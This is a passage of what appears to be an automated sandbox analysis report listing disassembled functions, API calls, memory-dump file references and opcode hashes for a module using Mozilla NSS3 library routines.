Part of subcall function 6CBCFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CBCFE1D
Part of subcall function 6CBCFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CBCFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CB77D8F,?,?), ref: 6CB76DD5

Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD10F3
Part of subcall function 6CBD10C0: EnterCriticalSection.KERNEL32(?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD110C
Part of subcall function 6CBD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1141
Part of subcall function 6CBD10C0: PR_Unlock.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1182
Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CC98FA0,00000000,?,?,?,?,6CB77D8F,?,?), ref: 6CB76DF7

Part of subcall function 6CBCB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCA18D0,?), ref: 6CBCB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CB76E35

Part of subcall function 6CBCFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CBCFE29
Part of subcall function 6CBCFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CBCFE3D
Part of subcall function 6CBCFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CBCFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CB76E4C

Part of subcall function 6CBD10C0: PL_ArenaAllocate.NSS3(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CC98FE0,00000000), ref: 6CB76E82

Part of subcall function 6CB76AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CB7B21D,00000000,00000000,6CB7B219,?,6CB76BFB,00000000,?,00000000,00000000,?,?,?,6CB7B21D), ref: 6CB76B01
Part of subcall function 6CB76AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CB76B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CB76F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CB76F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CC98FE0,00000000), ref: 6CB76F6B
PR_SetError.NSS3(FFFFE005,00000000,6CB77D8F,?,?), ref: 6CB76FE1

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 3cdd0ddbb570e4a7d0950724d91424a169ca7a678e199c586dc13c2f5061e805
Instruction ID: 52e774e19a63be7016f876ee7159bed957ab6493cec4611210c5967d2bf25551
Opcode Fuzzy Hash: 3cdd0ddbb570e4a7d0950724d91424a169ca7a678e199c586dc13c2f5061e805
Instruction Fuzzy Hash: EE715F71E106869FDB10CF55CD40AAABBA8FF54348F154229EC18DBB11F770EA94CBA1

Function 6CBB0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBB1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBB1085
PK11_GetAllTokens.NSS3 ref: 6CBB10B1
free.MOZGLUE(?), ref: 6CBB1107
PR_SetError.NSS3(00000000,00000000), ref: 6CBB1172
free.MOZGLUE(?), ref: 6CBB1182
free.MOZGLUE(?), ref: 6CBB11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CBB11C5

Part of subcall function 6CBB52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CB8EAC5,00000001), ref: 6CBB52DF
Part of subcall function 6CBB52C0: EnterCriticalSection.KERNEL32(?), ref: 6CBB52F3
Part of subcall function 6CBB52C0: PR_Unlock.NSS3(?), ref: 6CBB5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CBB11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CBB11F3

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 1423ad00477b0dfb5c593d642894f22c47b3eeab0c76e339467e17b756b33637
Instruction ID: 9e0c2c1bf4fafee4e7dd256b8ff95ec5051ae120bc5427a5917972f13d3492d0
Opcode Fuzzy Hash: 1423ad00477b0dfb5c593d642894f22c47b3eeab0c76e339467e17b756b33637
Instruction Fuzzy Hash: 5D61A4B4E013859BEB00DF65D885BAEB7B5EF04348F184128ED19BB741EB31E945CB62

Function 6CBB4A20 Relevance: 15.2, APIs: 10, Instructions: 182COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,?), ref: 6CBB4A4B
PK11_GetInternalSlot.NSS3 ref: 6CBB4A59
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CBB4AC6
TlsGetValue.KERNEL32 ref: 6CBB4B17
EnterCriticalSection.KERNEL32(?), ref: 6CBB4B2B
PR_Unlock.NSS3(?), ref: 6CBB4B77
PK11_FreeSymKey.NSS3(?), ref: 6CBB4B87
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CBB4B9A
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBB4BA9
PR_SetError.NSS3(00000000,00000000), ref: 6CBB4BC1

Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607AD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607CD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607D6
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAF204A), ref: 6CB607E4
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,6CAF204A), ref: 6CB60864
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB60880
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,6CAF204A), ref: 6CB608CB
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608D7
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608FB

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$K11_$DestroyPrivatecalloc$CriticalDoesEnterErrorFreeInternalItem_MechanismSectionSlotUnlockUtilZfree
String ID:
API String ID: 3936029921-0
Opcode ID: 87fd88acec4c9f00b5cef2f5e1d8c578abf24d98fe923777d960da4771ae4195
Instruction ID: b49689f9fb3d37b5b45ead96021fc4ae61a634669c0fe21a7f59acd14cff5dfe
Opcode Fuzzy Hash: 87fd88acec4c9f00b5cef2f5e1d8c578abf24d98fe923777d960da4771ae4195
Instruction Fuzzy Hash: EF517EB5E002599BDB00DFA9D841AAFB7B9FF48318F144029E905B7701EB31ED158BA2

Function 6CBBADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CB9CDBB,?,6CB9D079,00000000,00000001), ref: 6CBBAE10
EnterCriticalSection.KERNEL32(?,?,6CB9CDBB,?,6CB9D079,00000000,00000001), ref: 6CBBAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CB9D079,00000000,00000001), ref: 6CBBAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CB9CDBB,?,6CB9D079,00000000,00000001), ref: 6CBBAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CB9CDBB,?,6CB9D079,00000000,00000001), ref: 6CBBAE7F
TlsGetValue.KERNEL32(?,6CB9CDBB,?,6CB9D079,00000000,00000001), ref: 6CBBAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CB9CDBB,?,6CB9D079,00000000,00000001), ref: 6CBBAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CB9CDBB,?,6CB9D079,00000000,00000001), ref: 6CBBAEF1
free.MOZGLUE(6CB9CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB9CDBB,?), ref: 6CBBAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CB9CDBB,?,6CB9D079,00000000,00000001), ref: 6CBBAF30

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 2bf8b7a328f7670a2af2265f9deffb06ab129eaf7611f9b831fb8cedbf8b71c9
Instruction ID: dffd8c5616b0d2a12117a4c68fa4e6cdbe12d5cd1dbe0a957537227452195aec
Opcode Fuzzy Hash: 2bf8b7a328f7670a2af2265f9deffb06ab129eaf7611f9b831fb8cedbf8b71c9
Instruction Fuzzy Hash: 63517CB5E01641AFDB01DF29D884A6AB7B4FF05318F144664E818A7E11EB31F9A4CFD2

Function 6CB94CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CB9AB7F,?,00000000,?), ref: 6CB94CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CB9AB7F,?,00000000,?), ref: 6CB94CC8
TlsGetValue.KERNEL32(?,6CB9AB7F,?,00000000,?), ref: 6CB94CE0
EnterCriticalSection.KERNEL32(?,?,6CB9AB7F,?,00000000,?), ref: 6CB94CF4
PL_HashTableLookup.NSS3(?,?,?,6CB9AB7F,?,00000000,?), ref: 6CB94D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CB94D10

Part of subcall function 6CC1DD70: TlsGetValue.KERNEL32 ref: 6CC1DD8C
Part of subcall function 6CC1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC1DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CB94D26

Part of subcall function 6CC39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC80A27), ref: 6CC39DC6
Part of subcall function 6CC39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC80A27), ref: 6CC39DD1
Part of subcall function 6CC39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC39DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CB94D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CB94DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CB94E02

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 6dec9bb16ab28451dbb951d7890c849ccfe0bb107c85794d2c269c26b3df3cb6
Instruction ID: c034dd25ba9efe617702981d70d9b0f645cb844c0a24f672060cff97f93ce162
Opcode Fuzzy Hash: 6dec9bb16ab28451dbb951d7890c849ccfe0bb107c85794d2c269c26b3df3cb6
Instruction Fuzzy Hash: 8F41A8B9E001559BEB015F69EC4096A7BB8EF0621DF144170EC1987B21FB31ED18CBE2

Function 6CC14A70 Relevance: 15.1, APIs: 10, Instructions: 113memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000048,00000A20,0000032C,?,00000000,?,6CC0AEC0,00000A20,00000000), ref: 6CC14A8B

Part of subcall function 6CBD0D30: calloc.MOZGLUE ref: 6CBD0D50
Part of subcall function 6CBD0D30: TlsGetValue.KERNEL32 ref: 6CBD0D6D

SECITEM_CopyItem_Util.NSS3(00000000,00000008,?,00000000), ref: 6CC14AAA

Part of subcall function 6CBCFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBC8D2D,?,00000000,?), ref: 6CBCFB85
Part of subcall function 6CBCFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBCFBB1

PORT_Strdup_Util.NSS3(?,?,?,?,00000000), ref: 6CC14ABD

Part of subcall function 6CBD0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CB72AF5,?,?,?,?,?,6CB70A1B,00000000), ref: 6CBD0F1A
Part of subcall function 6CBD0F10: malloc.MOZGLUE(00000001), ref: 6CBD0F30
Part of subcall function 6CBD0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CBD0F42

SECITEM_CopyItem_Util.NSS3(00000000,00000020,?,?,?,?,?,00000000), ref: 6CC14AD6
SECITEM_CopyItem_Util.NSS3(00000000,00000034,?,?,?,?,?,?,?,?,00000000), ref: 6CC14AEC

Part of subcall function 6CBCFB60: PORT_Alloc_Util.NSS3(E0056800,00000000,?,?,6CBC8D2D,?,00000000,?), ref: 6CBCFB9B

SECITEM_ZfreeItem_Util.NSS3(00000020,00000000,?,?,?,00000000), ref: 6CC14B49
SECITEM_ZfreeItem_Util.NSS3(-00000034,00000000,?,?,?,?,?,00000000), ref: 6CC14B58
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6CC14B64
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC14B74
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC14B7E

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Item_$Alloc_CopyZfree$freememcpy$ArenaStrdup_Valuecallocmallocstrlen
String ID:
API String ID: 476651045-0
Opcode ID: a72ee19868682622e1ece400ed6c7aba88f626f5b59bd5afba5546f43a095a9a
Instruction ID: a45699477da9b9095c1637be82a71a2262262881690c09b2fe240e886c5e1552
Opcode Fuzzy Hash: a72ee19868682622e1ece400ed6c7aba88f626f5b59bd5afba5546f43a095a9a
Instruction Fuzzy Hash: CD31BFB56046419FD714CF66DC81A9B7BF8EF1824CB084569EC4AC7B02F731E619CBA2

Function 6CB989C0 Relevance: 15.1, APIs: 10, Instructions: 84COMMON

Download Yara Rule

APIs

PK11_CreateDigestContext.NSS3(00000004,00000000,00000000,00000000,00000000,?,6CB9AE9B,00000000,?,?), ref: 6CB989DE
PK11_DigestBegin.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,6CB72D6B,?,?,00000000), ref: 6CB989EF
PK11_DigestOp.NSS3(00000000,57016AC6,034C08E8,?,00000000,?,?,?,?,?,?,?,?,?,?,6CB72D6B), ref: 6CB98A02
PK11_DestroyContext.NSS3(00000000,00000001,?,00000000,?,?,?,?,?,?,?,?,?,?,6CB72D6B,?), ref: 6CB98A11

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: K11_$Digest$Context$BeginCreateDestroy
String ID:
API String ID: 407214398-0
Opcode ID: bb4d8c26720a6493a4517cfcabb88f6f5ece5bff48ed7b08a6f1fc6809be2d60
Instruction ID: ed0c7a602f3933f552526fd6b48cf8624236086970f3374feae06f9b0b8850d1
Opcode Fuzzy Hash: bb4d8c26720a6493a4517cfcabb88f6f5ece5bff48ed7b08a6f1fc6809be2d60
Instruction Fuzzy Hash: 1711B7B2A0039466FB005A69BC81BAFB55CDB4375DF084036ED0999B42F763D958D2F3

Function 6CB72E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CB72CDA,?,00000000), ref: 6CB72E1E

Part of subcall function 6CBCFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CB79003,?), ref: 6CBCFD91
Part of subcall function 6CBCFD80: PORT_Alloc_Util.NSS3(A4686CBD,?), ref: 6CBCFDA2
Part of subcall function 6CBCFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CBD,?,?), ref: 6CBCFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CB72E33

Part of subcall function 6CBCFD80: free.MOZGLUE(00000000,?,?), ref: 6CBCFDD1

TlsGetValue.KERNEL32 ref: 6CB72E4E
EnterCriticalSection.KERNEL32(?), ref: 6CB72E5E
PL_HashTableLookup.NSS3(?), ref: 6CB72E71
PL_HashTableRemove.NSS3(?), ref: 6CB72E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CB72E96
PR_Unlock.NSS3 ref: 6CB72EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB72EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB72EC5

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: e01fdec76629bf4eecd0c02b1abcd6810dfad229e1320477babe689bcf814e7e
Instruction ID: 9758be6fbdb330fb16c872d337a3c6cae4023ecd838969d24dd201c72f30e009
Opcode Fuzzy Hash: e01fdec76629bf4eecd0c02b1abcd6810dfad229e1320477babe689bcf814e7e
Instruction Fuzzy Hash: 1E21C576A40141A7EF211B69ED09A9A3B75DB5235DF040030ED2886B11F732E959D7B2

Function 6CAFCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CAFB999), ref: 6CAFCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CAFB999), ref: 6CAFD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CAFB999), ref: 6CAFD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CAFB999), ref: 6CC4972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CAFCFDD, 6CAFD00E, 6CAFD022, 6CAFD033, 6CC49780
%s at line %d of [%.10s], xrefs: 6CAFCFEC, 6CAFD018, 6CAFD029, 6CAFD03F, 6CC4978B
database corruption, xrefs: 6CAFCFE7, 6CAFD013, 6CAFD028, 6CAFD039, 6CAFD03E, 6CC49786

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 963a5f41d6c88cada797fcbdb76bba48c01ea0ba28292d60da6dcb3b1542879e
Instruction ID: aa04aebd86152c18614dae3219f0ceec5298bbf5a58d432cbaab1bd36586930c
Opcode Fuzzy Hash: 963a5f41d6c88cada797fcbdb76bba48c01ea0ba28292d60da6dcb3b1542879e
Instruction Fuzzy Hash: 4C613971A042609FD310CF6AC840BA6B7F5EF55318F2881ADE4499FB42E376E947C7A1

Function 6CBFEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CC1A4A1,?,00000000,?,00000001), ref: 6CBFEF6D

Part of subcall function 6CC1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC1C2BF

htonl.WSOCK32(00000000,?,6CC1A4A1,?,00000000,?,00000001), ref: 6CBFEFE4
htonl.WSOCK32(?,00000000,?,6CC1A4A1,?,00000000,?,00000001), ref: 6CBFEFF1
memcpy.VCRUNTIME140(?,?,6CC1A4A1,?,00000000,?,6CC1A4A1,?,00000000,?,00000001), ref: 6CBFF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CC1A4A1,?,00000000,?,00000001), ref: 6CBFF027

Strings

dtls13, xrefs: 6CBFEF33

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 9e721913cc8fdfcec80808ba77ece04a00bf3455b96b25e88831ae09ef9b8f27
Instruction ID: baebe90a8c13feeb36a04b54251b4b8d16d4a28235608b7be3979cff7ef3a064
Opcode Fuzzy Hash: 9e721913cc8fdfcec80808ba77ece04a00bf3455b96b25e88831ae09ef9b8f27
Instruction Fuzzy Hash: A631F671A01251AFEB10DF28DC40B9EB7E4EF45348F158029E8289B751E731E91ACBE2

Function 6CB7AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CB7AFBE
